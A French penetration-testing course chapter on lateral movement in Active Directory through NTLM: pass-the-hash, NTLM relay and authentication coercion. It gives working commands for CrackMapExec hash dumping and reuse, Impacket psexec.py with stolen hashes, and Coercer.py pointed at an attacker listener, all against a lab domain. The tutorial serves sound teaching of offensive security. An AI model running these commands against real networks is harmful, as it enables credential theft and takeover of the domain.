Vous avez vos premiers identifiants sur le réseau, ou un premier accès sur un poste ou serveur du domaine. Il vous faut alors continuer votre plan d’attaque, et compromettre d’autres utilisateurs ou machines pour tenter de récupérer de nouveaux accès.
Exploitez le protocole NTLM
Le protocole NTLM est l’un des deux protocoles d’authentification utilisés dans les environnements Microsoft. Il permet à un utilisateur de prouver qui il est auprès d’un serveur.
Voyons plusieurs manières de se propager latéralement avec le protocole NTLM.
Authentification NTLM
L’authentification consiste en une phase de challenge-response (ou défi-réponse) entre le client et le serveur.
C’est une technique utilisée pour que le serveur vérifie que l’utilisateur connaît le mot de passe du compte avec lequel il s’authentifie, sans pour autant faire transiter le mot de passe sur le réseau.
Cette authentification se déroule en trois étapes. D’abord le client indique qu’il veut s’authentifier. Le serveur lui envoie alors un défi, ou un challenge. Ce n’est rien d’autre qu’une valeur aléatoire qui change à chaque demande d’authentification. Le serveur enregistre d’ailleurs cette valeur dans un coin. Le client reçoit ce challenge et le chiffre en utilisant le hash de son mot de passe comme clé. Il renvoie cette version chiffrée au serveur, ainsi que son nom d’utilisateur.
Suite à ces échanges, le serveur est en possession de deux choses :
le challenge qu’il a envoyé au client ;
la réponse du client qui a été chiffrée avec le hash de son mot de passe.
Pour finaliser l’authentification, il ne reste plus au serveur qu’à vérifier la validité de la réponse envoyée par le client. Pour ce faire, le serveur a une base de données des utilisateurs locaux appelée SAM (Security Accounts Manager). Il y a la liste des noms d’utilisateurs, et le hash de leur mot de passe, appelé hash NT. Cela permet d’éviter de stocker les mots de passe en clair sur la machine. Quand le serveur reçoit la réponse du client qui tente de s’authentifier, il reçoit le challenge chiffré avec ce hash. Le serveur va procéder à la même opération en cherchant le hash de l’utilisateur dans sa table, et il va chiffrer le challenge qu’il a envoyé avec ce hash.
S’il obtient la même chose que ce qu’a envoyé le client, c’est que le client a utilisé le même mot de passe, il est donc authentifié.
1. Réception du challenge. 2. Envoi de la réponse. 3. Recherche du hash NT dans la base de données SAM. 4. Calcul de la réponse attendue avec le hash NT de la SAM et le challenge. 5. Comparaison avec la réponse du client. |
Pour information, c’est aussi possible avec un compte de domaine. Le serveur ne connaît pas le secret du compte de domaine qui veut s’authentifier, il va donc déléguer la phase de vérification à un contrôleur de domaine.
Pass-the-hash
Si vous avez bien suivi, dans tous les cas l’utilisateur n’a utilisé que le hash NT de son mot de passe pour s’authentifier, jamais son mot de passe en clair.
Attends, attends. Ce que tu es en train de me dire, c’est que c’est le hash du mot de passe qui est stocké sur le serveur, pour éviter de stocker le mot de passe en clair, mais que finalement, ce même hash suffit pour s’authentifier ?
C’est exactement ça. Avec le protocole NTLM, si vous volez le mot de passe en clair, ou si vous volez le hash NT du mot de passe, vous aurez toutes les billes en main pour vous authentifier. Finalement, on peut même dire qu’avoir le hash NT revient à avoir le mot de passe en clair, dans la majorité des cas.
Si lors de la phase de compromission du premier compte, vous avez exploité une vulnérabilité sur un poste de travail vous permettant de prendre la main dessus, il est possible que vous ayez les privilèges suffisants pour trouver le hash du mot de passe de l’administrateur local de ce poste.
Or, dans une entreprise, les postes des collaborateurs sont souvent des copies d’un même poste qui a été configuré une bonne fois pour toutes, c’est beaucoup plus simple. Mais ça veut dire que les utilisateurs locaux sont les mêmes partout, notamment le compte administrateur local.
Je crois que je vois où tu veux en venir…
Eh oui, si vous avez compromis un seul de ces postes, et que vous avez trouvé le hash du compte administrateur, il y a de grandes chances pour que ce même hash soit valide sur tous les autres postes ! C’est ce qu’on appelle le pass-the-hash.
Concrètement, si vous avez volé le hash de l’administrateur local d’un poste, vous pouvez tenter le pass-the-hash vers d’autres postes en utilisant l’outil CrackMapExec. C’est un excellent outil pour attaquer plusieurs machines en même temps, notamment en utilisant seulement le hash d’un utilisateur compromis.
C’est par ce biais que j’ai compromis le domaine lors de mon premier audit ! Avec des identifiants par défaut sur un serveur d’applications, j’ai pu compromettre le serveur. J’ai alors récupéré le hash du compte administrateur local et je l’ai rejoué sur tous les autres postes, ce qui m’a permis de trouver le mot de passe d’un administrateur de domaine. Ne vous inquiétez pas, vous verrez la suite de cette attaque dans les chapitres suivants !
Pour extraire les hash NT des utilisateurs locaux sur des machines, le paramètre --sam doit être fourni à CrackMapExec, ainsi que les identifiants d’un compte administrateur.
$ cme smb 10.10.10.0/24 -u pixis -p P4ssw0rd -d medic.ex --samPour s’authentifier avec le hash NT d’un utilisateur, vous pouvez utiliser le paramètre -H de CrackMapExec. Il faut également ajouter le paramètre --local-auth si vous vous authentifiez avec un compte local, et non un compte du domaine.
cme smb 10.10.10.0/24 -u Administrateur -H aad3b435b51404eeaad3b435b51404ee:01a27c88a6c1bd0ab0944599129c58a6 --local-authVous pouvez également utiliser le paramètre -hashes pour tous les outils propres à la suite Impacket. Par exemple l’outil psexec.py.
psexec.py Administrateur@dc01.medic.ex -hashes aad3b435b51404eeaad3b435b51404ee:01a27c88a6c1bd0ab0944599129c58a6Relais NTLM
Le protocole NTLM permet à un client de s’authentifier auprès d’un serveur. Vous avez vu que cette authentification se passe en trois étapes. Mais que se passe-t-il si un attaquant a réussi à se placer en position d’homme du milieu ? Il peut alors faire passe-plat, se faire passer pour le client auprès du serveur, et donc effectuer des actions sur le serveur en se faisant passer pour un client. C’est ce qu’on appelle le relais NTLM.
Pour en savoir plus sur les détails de cette attaque, n’hésitez pas à regarder la vidéo qui suit :
Un outil très puissant permet de faire du relais NTLM : ntlmrelayx.py, un des outils de la suite Impacket.
Dans cet exemple, l’outil a été lancé pour relayer les authentifications vers le serveur 10.10.10.2 avec l’option -t . Une authentification de l’utilisateur MEDIC.EX\Administrateur est reçue par l’outil puis relayée vers le serveur. Une fois l’authentification terminée grâce au relais, ntlmrelayx extrait automatiquement les identifiants des utilisateurs locaux du poste.
Coercition d’authentification
Pour se positionner en homme du milieu, l’attaquant a plusieurs possibilités. Vous avez découvert comment exploiter les protocoles LLMNR, NBT-NS, ou encore IPv6 pour vous placer entre une cible et une destination.
Il existe une autre technique d’attaque qui permet de forcer une machine distante à s’authentifier auprès de votre machine, qu’on appelle la coercition d’authentification. Le but de cette attaque est d’exploiter des fonctionnalités propres à Windows (ou à des logiciels qui tournent sur une machine cible) pour que la cible aille chercher une ressource sur une destination arbitraire.
Par exemple, sur les machines Windows, il existe une fonction que n’importe quel utilisateur peut appeler à distance appelée RpcRemoteFindFirstPrinterChangeNotificationEx. En l’appelant, vous pouvez indiquer à la machine cible que dès qu’elle observe une modification dans les impressions, elle doit notifier quelqu’un, en l’occurrence vous. Vous pouvez indiquer que la notification doit être envoyée à :
\\IP_ATTAQUE\
Vous envoyez ensuite une fausse impression au serveur cible, qui va tenter de vous notifier. Il tentera alors d’accéder au chemin que vous lui avez fourni, et s'authentifiera si vous le lui imposez. Libre à vous de relayer cette authentification !
L’exemple que je vous ai donné, communément appelé le Printer Bug, est le premier exemple de coercition à avoir été dévoilé au grand public. Depuis, de nombreuses autres fonctionnalités de Windows permettant de forcer une cible à s’authentifier auprès de vous ont été découvertes.
Ça semble être assez compliqué à mettre en place, ton attaque…
Rassurez-vous, l’outil Coercer regroupe les techniques connues pour effectuer de la coercition d’authentification. Vous lui fournissez un couple identifiant/mot de passe valide, ainsi qu’une cible et une destination (en général votre machine d’attaque).
./Coercer.py coerce -u ‘pixis’ -p 'P4ssw0rd' -d ‘medic.ex’ --target 10.10.10.2 --listener-ip 10.10.10.100
Sur votre machine d’attaque, vous pouvez tenter de relayer cette authentification vers un serveur de votre choix, tant que la signature n’est pas requise.
En résumé
Une des options pour effectuer du mouvement latéral au sein d’un Active Directory, est de :
Compromettre des machines avec la technique du pass-the-hash.
Se faire passer pour une victime avec le relais NTLM.
Forcer une machine distante à s’authentifier auprès de votre machine avec la coercition d’authentification.
Voyons dans le chapitre suivant, les autres façon d'effectuer un mouvement latéral avec l'exploitation du protocole Kerberos et d'autres protocoles.
